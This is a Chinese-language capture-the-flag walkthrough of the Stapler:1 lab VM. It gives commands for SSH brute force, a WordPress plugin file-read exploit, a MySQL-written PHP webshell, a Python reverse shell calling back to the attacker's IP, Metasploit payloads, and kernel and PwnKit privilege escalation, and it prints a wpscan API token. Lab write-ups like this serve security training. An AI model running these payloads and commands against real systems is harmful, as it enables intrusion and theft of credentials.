靶场历险记-stapler-1(全方面突破边界+提权)

admin 2025年6月6日03:58:54评论23 views字数 6577阅读21分55秒阅读模式

信息收集

主机发现

sudo nmap -sn 192.168.23.0/24

发现主机IP:192.168.23.131靶场历险记-stapler-1(全方面突破边界+提权)

端口发现

sudo nmap -sS -p- --min-rate 10000 192.168.23.131

可以看到开放的端口和服务较多

21/tcp    open   ftp
22/tcp    open   ssh
53/tcp    open   domain
80/tcp    open   http
139/tcp   open   netbios-ssn
666/tcp   open   doom
3306/tcp  open   mysql
12380/tcp open   unknown
靶场历险记-stapler-1(全方面突破边界+提权)

详细信息

sudo nmap -sT -sV -A -O -p 21,22,53,139,666,3306,12380 192.168.23.131

信息如下

21 ftp vsftpd 2.0.8 or later
22 ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53 domain dnsmasq 2.75
139 netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
666 tcpwrapped
3306  mysql   MySQL 5.7.12-0ubuntu1
OS   Linux 3.10 - 4.11 (97%)
靶场历险记-stapler-1(全方面突破边界+提权)
靶场历险记-stapler-1(全方面突破边界+提权)

脚本扫描

sudo nmap --script=vuln 192.168.23.131

经过脚本扫描,80端口存在Slowloris漏洞(CVE-2007-6750),可能导致拒绝服务(DoS)。

139端口存在SMBv2漏洞(CVE-2009-3103)和注册服务DoS漏洞,可能导致RCE或服务崩溃。

靶场历险记-stapler-1(全方面突破边界+提权)
靶场历险记-stapler-1(全方面突破边界+提权)

漏洞发现

因为发现的端口较多,我们需要根据端口存在漏洞的可利用性进行逐一检查和发现

21端口

我们在前面的nmap收集到信息可以知道,可以使用Anonymous进行匿名登录。

ftp 192.168.23.131

输入Anonymous和空密码,成功登录,看看存在什么可用文件

ls #查看存在文件,发现note
get note #下载文件
靶场历险记-stapler-1(全方面突破边界+提权)

exit退出ftp,回到kali查看文件

cat note

没有什么有效信息,只能说可能存在两个用户名:Elly和John靶场历险记-stapler-1(全方面突破边界+提权)

139端口

139端口运行Samba,可能存在有效信息,先枚举一下

enum4linux -a 192.168.23.131
靶场历险记-stapler-1(全方面突破边界+提权)

枚举了不少东西,我们一个个提取有效信息:

(1)我们可以看到有两个共享的文件地址

//192.168.23.131/kathy  Mapping: OK Listing: OK Writing: N/A
//192.168.23.131/tmp    Mapping: OK Listing: OK Writing: N/A
靶场历险记-stapler-1(全方面突破边界+提权)

使用smbclient查看一下文件

smbclient -L //192.168.23.131

backup目录靶场历险记-stapler-1(全方面突破边界+提权)

kathy_stuff目录靶场历险记-stapler-1(全方面突破边界+提权)很奇怪,可能因为权限原因,我无法将文件下载本地,只能先放下

(2)我们可以看到有许多用户名,保存下来,可能有用

靶场历险记-stapler-1(全方面突破边界+提权)先将所有用户名保存在一个.txt文件里

靶场历险记-stapler-1(全方面突破边界+提权)

使用文本处理工具cut将用户名筛选出来,放到一个新的文件:new_users.txt

sudo cat users.txt|cut -d '' -f2|cut -d '(' -f1 > new_users.txt
靶场历险记-stapler-1(全方面突破边界+提权)

22端口(可getshell)

碰碰运气,用得到的用户名爆破一下,看看能不能成功登录

hydra -L new_users.txt -P new_users.txt 192.168.23.131 ssh

诶,意外惊喜,SHayslett可以直接进行ssh远程登录,成功getshell,后面只需要提权就好了。虽然可以getshell,但还是看看其他端口能不能也成功getshell

靶场历险记-stapler-1(全方面突破边界+提权)

web页面

80端口

查看web页面,但是回显404,有点奇怪啊。靶场历险记-stapler-1(全方面突破边界+提权)使用dirb跑一遍目录

dirb http://192.168.23.131:80/

发现有2个链接靶场历险记-stapler-1(全方面突破边界+提权)

打开看看,发现是下载文件,那我直接使用wget命令下载文件到目录里面

# 需要使用root权限
wget http://192.168.23.131:80/.bashrc
wget http://192.168.23.131:80/.profile
靶场历险记-stapler-1(全方面突破边界+提权)

看看文件内容,发现是配置脚本,没有发现什么有效信息,先放一边。

12380端口

我们看看12380端口,这个也是http服务。发现这个是存在完整的网站搭建,还有可能突破边界。

靶场历险记-stapler-1(全方面突破边界+提权)

常规操作,现扫一遍网站目录,看看有什么收获。(一开始用http协议没有目录扫出,换成https协议

dirb https://192.168.23.130:12380/
靶场历险记-stapler-1(全方面突破边界+提权)

扫描结果:

https://192.168.23.130:12380/phpmyadmin/
https://192.168.23.130:12380/robots.txt
https://192.168.23.130:12380/announcements/
https://192.168.23.130:12380/javascript/
https://192.168.23.130:12380/index.html

打开/phpmyadmin,尝试了几个弱口令,但登录失败

靶场历险记-stapler-1(全方面突破边界+提权)

看一下robots.txt,存在两个路径:

/admin112233/
/blogblog/
靶场历险记-stapler-1(全方面突破边界+提权)

看看/blogblog,借助插件知道是wordpress内容管理系统

靶场历险记-stapler-1(全方面突破边界+提权)

搜一下能不能扫描该CMS的漏洞,显示可以使用wpscan,那开整。

靶场历险记-stapler-1(全方面突破边界+提权)

因为要使用借口,所以需要我们登入wpscan官网注册,或者和我一样在网上找一个

wpscan --url https://192.168.1.24:12380/blogblog/ --api-token rXPAHHYlLrF3xr50aaaFKWdIsNckML8Oqhr7sCpdJqQ --disable-tls-checks

扫出了很多个漏洞,看的眼花靶场历险记-stapler-1(全方面突破边界+提权)

先看看存在目录穿越的路径吧

https://192.168.23.130:12380/blogblog/readme.html
https://192.168.23.130:12380/blogblog/wp-login.php?action=register
https://192.168.23.130:12380/blogblog/wp-content/uploads/
靶场历险记-stapler-1(全方面突破边界+提权)

漏洞利用

方法一

/uploads路径

# 进入目录
Parent Directory  ->  plugins  ->  advanced-video-embed-embed-videos-or-playlists/


https://192.168.23.130:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
靶场历险记-stapler-1(全方面突破边界+提权)

这个路径有没有可能存在漏洞,浏览器搜索一下,发现确实存在漏洞:39646

靶场历险记-stapler-1(全方面突破边界+提权)

回到bash,使用searchsploit搜索漏洞

sudo searchsploit 39646 -m
ls
sudo vim 39646.py
靶场历险记-stapler-1(全方面突破边界+提权)

要根据环境来修改POC,或者查看POC直接访问漏洞路径

# 漏洞路径
https://192.168.23.130:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php
靶场历险记-stapler-1(全方面突破边界+提权)

再次访问回显路径

靶场历险记-stapler-1(全方面突破边界+提权)

返回/upload目录看看,多了一个图片

靶场历险记-stapler-1(全方面突破边界+提权)

下载图片,查看内容

sudo wget --no-check-certificate https://192.168.23.130:12380/blogblog/wp-content/uploads/437217698.jpeg

cat 437217698.jpeg

得到数据库账户密码:root/plbkac靶场历险记-stapler-1(全方面突破边界+提权)

回到/phpmyadmin登录账户

靶场历险记-stapler-1(全方面突破边界+提权)

在库wordpress下的wp_users找到许多账户密码,将数据导出

靶场历险记-stapler-1(全方面突破边界+提权)

然后根据格式,使用awk整理用户名和密码格式(记得现创建一个users.txt文件)

sudo cat wp_users.sql | awk -F ', ''{print $2,$3}'|awk -F"'"'{print $2":"$4}'> users.txt
靶场历险记-stapler-1(全方面突破边界+提权)

使用hash-identifier查看加密方式

# 启动
hash-identifier
# 输入密文
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1

属于MD5加密靶场历险记-stapler-1(全方面突破边界+提权)使用john解密

sudo john --wordlist=/usr/share/wordlists/rockyou.txt users.txt
靶场历险记-stapler-1(全方面突破边界+提权)

找到WordPress后台,将破解出来的账户进行登录

账户/密码:John/incorrect
靶场历险记-stapler-1(全方面突破边界+提权)

登录成功

靶场历险记-stapler-1(全方面突破边界+提权)

来到后台,开始信息收集,发现了一个可以上传插件的功能点,也就是说,我们可以上传木马反弹shell

# 功能点位置
Plungins -> add New -> upload Plungin
靶场历险记-stapler-1(全方面突破边界+提权)

现下载一个php木马到该文件夹

sudo cp /usr/share/webshells/php/php-reverse-shell.php .

然后根据自身环境进行修改(一般只需要修改ip和端口)

sudo vim php-reverse-shell.php
靶场历险记-stapler-1(全方面突破边界+提权)

监听1234端口

nc -lvvp 1234
靶场历险记-stapler-1(全方面突破边界+提权)

上传文件,到/upload路径下查看,然后点击文件

靶场历险记-stapler-1(全方面突破边界+提权)

shell反弹成功靶场历险记-stapler-1(全方面突破边界+提权)

方法二

这个方法是基于数据库有写入权限,利用数据库写入脚本

select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php"
靶场历险记-stapler-1(全方面突破边界+提权)

可以看到/uploads下多了一个shell.php

靶场历险记-stapler-1(全方面突破边界+提权)

监听端口

nc -lvvp 8888

点击文件,执行命令

https://192.168.23.130:12380/blogblog/wp-content/uploads/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.23.128%22,8888));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27

shell反弹成功

靶场历险记-stapler-1(全方面突破边界+提权)

方法三

这个是利用文件上传的功能点实现的,使用weevely,这是一款基于python编写的webshell生成、管理工具。

实现步骤

# 1.生成指定路径带密码的php文件
sudo weevely  generate  passwd  3.php  

# 2.上传3.php文件

# 3.连接php文件
weevely  https://192.168.23.130:12380/blogblog/wp-content/uploads/3.php passwd                   

成功反弹shell靶场历险记-stapler-1(全方面突破边界+提权)

方法四

这个方法和上一个差不多我,也是利用文件上传的功能点进行突破边界,获取shell的。区别主要是webshell工具的使用:webacoo

# 1.生成php文件
webacoo -g -o 4.php

# 2.上传4.php

# 3.连接4.php
webacoo -t -u https://192.168.23.130:12380/blogblog/wp-content/uploads/4.php

方法五

使用msf生成php脚本,然后监听,反弹shell

//生成webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.23.130 LPORT=4444 -f raw > ms.php

//监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.23.128
set LPORT 4444
run

方法六

这个办法是使用msf,但是oscp考试是不允许使用的,我们当扩展一下。

前期的信息收集,139端口是开放的,尝试使用msf直接获取他的root权限。

msfconsole
search Samba   ---符合2017年的就几个
use exploit/linux/samba/is_known_pipename
set rhosts 192.168.23.130
set rport 139
run
靶场历险记-stapler-1(全方面突破边界+提权)

shell反弹成功,查看为root权限,直接回到根目录查看flag.txt

靶场历险记-stapler-1(全方面突破边界+提权)

方法七

这个方式就是一开始得到一批用户名,使用hydra爆破22端口,成功撞库,成功实现远程登录

提权

方法一

信息收集,查看系统内核信息

whoami
id
uname -a

在漏洞库查询符合的提权脚本:39772.txt

searchsploit Linux 4.4.X 
靶场历险记-stapler-1(全方面突破边界+提权)

下载到本地,查看文件发现提供的是方法,但文末给我们提供了exp下载地址

sudo searchsploit 39772 -m
cat 39772.txt

靶场历险记-stapler-1(全方面突破边界+提权)在靶机下载文件

# 进入/tmp
cd /tmp
# 下载exp
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
# 解压zip
unzip 39772.zip
# 进入39772目录
cd 39772
# 解压tar
tar xvf exploit.tar
# 进入ebpf_mapfd_doubleput_exploit/
cd ebpf_mapfd_doubleput_exploit/
# 运行./compile.sh
./compile.sh
# 执行doubleput
./doubleput

提权成功

靶场历险记-stapler-1(全方面突破边界+提权)

方法二

查看/etc/passwd

cat /etc/passwd | grep "zsh"

除了root用户还存在两个

靶场历险记-stapler-1(全方面突破边界+提权)

看看/etc/groups,发现sudo属于Peter组的用户列表。这意味着,我们peter可能拥有root权限

cat /etc/groups
靶场历险记-stapler-1(全方面突破边界+提权)

本来想用history看看历史命令,看看有没有ssh登录的,但是命令不能使用

靶场历险记-stapler-1(全方面突破边界+提权)

那我现在直接抓ssh

grep -rn "ssh"

找到两个用户

sshpass -p JZQuyIN5 peter@localhost
sshpass -p thisimypassword ssh JKanode@localhost

靶场历险记-stapler-1(全方面突破边界+提权)新开一个终端,使用ssh登录

# ssh登录
ssh [email protected] -t '/bin/bash'
输入密码:JZQuyIN5

# 查看当前用户被允许通过sudo执行的命令及其权限
sudo -l

提权成功靶场历险记-stapler-1(全方面突破边界+提权)

方法三

这个方法也是内核提权,操作与第一个方法类似,是利用ubantu内核提权

exp下载地址:
https://github.com/arthepsy/CVE-2021-4034.git
先下载到本地,然后通过python开通服务,下载到本地,跟上面操作一样,就不继续操作了,直接在展示

wget http://192.168.1.12:8002/cve-2021-4034poc.c
gcc cve-2021-4034-poc.c -o test
chmod +x test
./test

总结

这台靶机的突破边界路径大致分为三类:文件上传脚本反弹shell、ssh撞库成功登录、利用mysql写入木马实现远程命令执行。

而提权路径主要为:内核提权、sudo提权,然后看到一些wp是使用了写入计划任务的提权方法,感兴趣的可以去学习一下。

原文始发于微信公众号(泷羽Sec-Z1eaf):靶场历险记-stapler-1(全方面突破边界+提权)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月6日03:58:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场历险记-stapler-1(全方面突破边界+提权)https://cn-sec.com/archives/3870198.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息